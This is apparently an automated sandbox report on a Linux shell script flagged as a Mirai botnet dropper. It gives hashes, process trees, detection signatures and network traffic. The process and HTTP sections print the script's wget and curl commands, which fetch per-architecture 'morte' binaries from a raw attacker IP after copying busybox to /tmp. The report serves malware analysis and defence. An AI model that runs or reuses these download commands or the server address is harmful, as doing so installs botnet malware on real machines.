File name:

1.sh

Full analysis: https://app.any.run/tasks/1999b7ab-a263-4c25-bb89-2693e6fe93ab
Verdict: Malicious activity
Threats:

A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet.

Malware Trends Tracker     >>>
Analysis date: June 28, 2025, 19:36:03
OS: Ubuntu 22.04.2
Tags:
mirai
botnet
Indicators:
MIME: text/x-shellscript
File info: Bourne-Again shell script, ASCII text executable
MD5:

03FB2958E2BFA321FF11615E6D3BCBBA

SHA1:

1ED2B3DA9A51974CC3C5B64B3BD50200C08D1571

SHA256:

6100904BA76957ADA99C8C8B21C2EB3AAD8602CB280B98A045852B987D60392B

SSDEEP:

24:ItdZsfbh9k3lfLms/TdaGgJp63nLrUNIpKksXMEfhRsrccGgJsdNpk:iYNeNjLda10XLiJRZqrcBgJspk

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • MIRAI has been detected (SURICATA)

      • wget (PID: 41441)

  • SUSPICIOUS

    • Modifies file or directory owner

      • sudo (PID: 41397)

    • Executes commands using command-line interpreter

      • sudo (PID: 41400)
      • bash (PID: 41401)

    • Reads passwd file

      • dumpe2fs (PID: 41425)
      • curl (PID: 41405)
      • dumpe2fs (PID: 41437)
      • curl (PID: 41442)
      • curl (PID: 41472)
      • curl (PID: 41528)
      • curl (PID: 41499)
      • curl (PID: 41557)
      • curl (PID: 41611)
      • curl (PID: 41639)
      • curl (PID: 41584)
      • curl (PID: 41694)
      • curl (PID: 41721)
      • curl (PID: 41749)
      • curl (PID: 41666)
      • curl (PID: 41777)
      • curl (PID: 41804)

    • Check the Environment Variables Related to System Identification (os-release)

      • curl (PID: 41405)
      • curl (PID: 41442)
      • curl (PID: 41499)
      • curl (PID: 41584)
      • curl (PID: 41528)
      • curl (PID: 41557)
      • curl (PID: 41639)
      • curl (PID: 41611)
      • curl (PID: 41694)
      • curl (PID: 41721)
      • curl (PID: 41749)
      • curl (PID: 41666)
      • curl (PID: 41777)
      • curl (PID: 41804)
      • curl (PID: 41472)

    • Executes the "rm" command to delete files or directories

      • bash (PID: 41401)

    • Uses wget to download content

      • bash (PID: 41401)

    • Connects to the server without a host name

      • wget (PID: 41441)
      • curl (PID: 41472)
      • wget (PID: 41471)
      • wget (PID: 41610)
      • wget (PID: 41720)
      • curl (PID: 41666)
      • curl (PID: 41804)
      • curl (PID: 41749)
      • wget (PID: 41776)

  • INFO

    • Creates file in the temporary folder

      • cp (PID: 41403)
      • curl (PID: 41405)
      • curl (PID: 41472)
      • curl (PID: 41499)
      • curl (PID: 41528)
      • curl (PID: 41557)
      • curl (PID: 41611)
      • curl (PID: 41639)
      • curl (PID: 41584)
      • curl (PID: 41694)
      • curl (PID: 41721)
      • curl (PID: 41666)
      • curl (PID: 41749)
      • curl (PID: 41777)
      • curl (PID: 41804)
      • curl (PID: 41442)

    • Checks timezone

      • wget (PID: 41404)
      • dumpe2fs (PID: 41425)
      • dumpe2fs (PID: 41437)
      • wget (PID: 41441)
      • wget (PID: 41498)
      • wget (PID: 41527)
      • wget (PID: 41556)
      • wget (PID: 41583)
      • wget (PID: 41610)
      • wget (PID: 41638)
      • wget (PID: 41720)
      • wget (PID: 41748)
      • wget (PID: 41776)
      • wget (PID: 41665)
      • wget (PID: 41693)
      • wget (PID: 41803)
      • wget (PID: 41471)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.sh | Linux/UNIX shell script (100)
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
264
Monitored processes
130
Malicious processes
3
Suspicious processes
5

Behavior graph

Click at the process to see the details
dash no specs sudo no specs chown no specs chmod no specs sudo no specs bash no specs locale-check no specs cp no specs wget curl snap-seccomp no specs snap-confine no specs dumpe2fs no specs snap-update-ns no specs dumpe2fs no specs chmod no specs bash no specs rm no specs #MIRAI wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs wget curl snap-seccomp no specs snap-confine no specs snap-confine no specs chmod no specs bash no specs rm no specs

Process information

PID
CMD
Path
Indicators
Parent process
41396/bin/sh -c "sudo chown user /tmp/1\.sh && chmod +x /tmp/1\.sh && DISPLAY=:0 sudo -iu user /tmp/1\.sh "/usr/bin/dash—UbvyYXL4x2mYa65Q
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41397sudo chown user /tmp/1.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
41398chown user /tmp/1.sh/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41399chmod +x /tmp/1.sh/usr/bin/chmod—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41400sudo -iu user /tmp/1.sh/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
41401/bin/bash /tmp/1.sh/usr/bin/bash—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libtinfo.so.6.3
/usr/lib/x86_64-linux-gnu/libc.so.6
41402/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41403cp /bin/busybox /tmp//usr/bin/cp—bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/lib/x86_64-linux-gnu/libacl.so.1.1.2301
/usr/lib/x86_64-linux-gnu/libattr.so.1.1.2501
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
41404wget http://45.156.87.201/00101010101001/morte.x86/usr/bin/wget
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
2048
Modules
Images
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libuuid.so.1.3.0
/usr/lib/x86_64-linux-gnu/libidn2.so.0.3.7
/usr/lib/x86_64-linux-gnu/libssl.so.3
/usr/lib/x86_64-linux-gnu/libcrypto.so.3
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
/usr/lib/x86_64-linux-gnu/libpsl.so.5.3.2
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libunistring.so.2.2.0
41405/snap/curl/1754/bin/curl -O http://45.156.87.201/00101010101001/morte.x86/snap/curl/1754/bin/curl
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libpthread.so.0
/usr/lib/x86_64-linux-gnu/libudev.so.1.7.2
/usr/lib/x86_64-linux-gnu/libdl.so.2
/usr/lib/x86_64-linux-gnu/libc-2.31.so
/snap/curl/1754/lib/libcurl.so.4.8.0
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
/usr/lib/x86_64-linux-gnu/libpthread-2.31.so
/snap/curl/1754/usr/lib/x86_64-linux-gnu/libnghttp2.so.14.19.0
/snap/curl/1754/usr/lib/x86_64-linux-gnu/libidn2.so.0.3.6
Executable files
0
Suspicious files
1
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
41403cp/tmp/busyboxbinary
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
31
TCP/UDP connections
43
DNS requests
9
Threats
46

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
41404
wget
GET
404
45.156.87.201:80
http://45.156.87.201/00101010101001/morte.x86
unknown
—
—
unknown
—
—
GET
204
185.125.190.98:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
41405
curl
GET
404
45.156.87.201:80
http://45.156.87.201/00101010101001/morte.x86
unknown
—
—
unknown
41441
wget
GET
404
45.156.87.201:80
http://45.156.87.201/00101010101001/morte.mips
unknown
—
—
unknown
41442
curl
GET
404
45.156.87.201:80
http://45.156.87.201/00101010101001/morte.mips
unknown
—
—
unknown
41471
wget
GET
404
45.156.87.201:80
http://45.156.87.201/00101010101001/morte.arc
unknown
—
—
unknown
41472
curl
GET
404
45.156.87.201:80
http://45.156.87.201/00101010101001/morte.arc
unknown
—
—
unknown
41498
wget
GET
404
45.156.87.201:80
http://45.156.87.201/00101010101001/morte.i468
unknown
—
—
unknown
41499
curl
GET
404
45.156.87.201:80
http://45.156.87.201/00101010101001/morte.i468
unknown
—
—
unknown
41527
wget
GET
404
45.156.87.201:80
http://45.156.87.201/00101010101001/morte.i686
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
484
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
—
—
91.189.91.98:80
—
Canonical Group Limited
US
unknown
—
—
169.150.255.184:443
odrs.gnome.org
—
GB
whitelisted
—
—
185.125.190.98:80
—
Canonical Group Limited
GB
unknown
—
—
185.125.188.58:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
—
—
185.125.188.59:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
—
—
185.125.188.54:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
—
—
185.125.188.57:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
512
snapd
185.125.188.59:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
41404
wget
45.156.87.201:80
—
SkyLink Data Center BV
NL
unknown

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.185.206
  • 2a00:1450:4001:812::200e
whitelisted
odrs.gnome.org
  • 169.150.255.184
  • 37.19.194.80
  • 195.181.175.40
  • 195.181.170.19
  • 207.211.211.26
  • 212.102.56.179
  • 169.150.255.181
  • 2a02:6ea0:c700::101
  • 2a02:6ea0:c700::21
  • 2a02:6ea0:c700::18
  • 2a02:6ea0:c700::107
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c700::112
whitelisted
api.snapcraft.io
  • 185.125.188.58
  • 185.125.188.59
  • 185.125.188.57
  • 185.125.188.54
  • 2620:2d:4000:1010::344
  • 2620:2d:4000:1010::42
  • 2620:2d:4000:1010::117
  • 2620:2d:4000:1010::2e6
whitelisted
10.100.168.192.in-addr.arpa
  • —
unknown
connectivity-check.ubuntu.com
  • 2620:2d:4000:1::23
  • 2001:67c:1562::23
  • 2620:2d:4000:1::2b
  • 2620:2d:4000:1::2a
  • 2620:2d:4000:1::22
  • 2620:2d:4002:1::198
  • 2620:2d:4002:1::196
  • 2001:67c:1562::24
  • 2620:2d:4000:1::97
  • 2620:2d:4002:1::197
  • 2620:2d:4000:1::96
  • 2620:2d:4000:1::98
whitelisted

Threats

PID
Process
Class
Message
41404
wget
Potentially Bad Traffic
ET INFO x86 File Download Request from IP Address
41404
wget
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .x86
41405
curl
Potentially Bad Traffic
ET INFO x86 File Download Request from IP Address
41441
wget
A Network Trojan was detected
AV INFO Possible Mirai .mips Executable Download
41441
wget
Potentially Bad Traffic
ET INFO MIPS File Download Request from IP Address
41405
curl
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
41405
curl
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .x86
41442
curl
Potentially Bad Traffic
ET INFO MIPS File Download Request from IP Address
41442
curl
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
41442
curl
Potentially Bad Traffic
ET HUNTING curl User-Agent to Dotted Quad
No debug info